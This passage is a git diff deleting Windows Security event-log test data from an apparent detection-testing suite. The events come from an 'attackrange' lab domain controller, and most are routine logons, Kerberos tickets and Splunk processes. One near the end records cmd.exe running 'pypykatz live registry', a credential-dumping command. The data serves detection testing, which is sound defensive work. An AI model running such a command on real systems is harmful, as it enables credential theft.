the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:51 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=258129 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x579153 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:33:51 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=258128 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x57048D - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:33:51 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=258127 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x570E33 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:33:51 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=258126 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x579153 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 02:33:51 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=258125 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x579153 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {340486D4-536D-DCF9-E6F4-9F3FBAC11908} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:33:51 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=258124 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {340486D4-536D-DCF9-E6F4-9F3FBAC11908} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/12/2021 02:33:51 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=258123 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {340486D4-536D-DCF9-E6F4-9F3FBAC11908} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 02:33:51 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=258122 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/12/2021 02:33:51 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=258121 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x57910B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:33:51 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=258120 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x57910B - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 02:33:51 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=258119 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x57910B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {340486D4-536D-DCF9-E6F4-9F3FBAC11908} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:33:51 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=258118 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {340486D4-536D-DCF9-E6F4-9F3FBAC11908} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/12/2021 02:33:51 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=258117 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {340486D4-536D-DCF9-E6F4-9F3FBAC11908} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 02:33:51 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=258116 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/12/2021 02:33:51 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=258115 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x574157 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:33:51 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=258114 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x573406 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:33:51 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=258113 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x571336 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:34:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=258132 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x579A27 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:34:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=258131 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x579A27 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 50986 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:34:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=258130 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x579A27 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:34:08 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=258133 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x474 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:34:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=258135 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10c0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:34:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=258134 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5c0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:34:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=258136 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x6e8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:34:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=258138 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x110c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:34:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=258137 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc0c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:34:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=258139 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1218 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. diff --git a/bin/ssa-end-to-end-testing/modules/data/windows-security_debug.txt b/bin/ssa-end-to-end-testing/modules/data/windows-security_debug.txt deleted file mode 100644 index 4b53f32b35..0000000000 --- a/bin/ssa-end-to-end-testing/modules/data/windows-security_debug.txt +++ /dev/null @@ -1,123 +0,0 @@ -11/24/2021 02:28:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257876 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xca4 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x13a4 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\cmd.exe" /c "pypykatz live registry" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user 